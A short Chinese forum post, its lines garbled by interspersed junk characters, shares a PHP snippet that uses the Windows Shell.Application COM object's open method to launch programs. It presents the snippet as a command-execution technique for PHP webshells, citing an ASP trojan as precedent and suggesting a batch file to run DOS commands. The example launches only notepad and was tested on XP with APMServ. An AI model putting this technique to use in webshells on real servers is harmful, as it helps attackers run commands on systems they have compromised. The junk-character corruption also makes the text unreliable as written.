关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。2 t O4 ~+ D; ?8 y* `# [
0 Q1 x4 |+ V* |$ {
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法 N* K# O% w7 g( P
8 Y2 `( m i5 E: u. H* P* {* A
<?php! q4 N, q, Y% z+ k- e1 `
$wsh = new COM('Shell.Application') or die("Shell.Application");
3 F( O% [" @3 i( |# T8 ^6 C* ] $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
% J% Y1 Y2 f* c& d$ B2 E1 Y //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
* G* ~: D6 F' o5 m?>% ~5 m- i& L! p. X! ^2 d
6 K( @! q# v& b( C% ~0 `$ Xxp+APMServ5.2.0测试通过。
& Y/ q2 t/ a* H |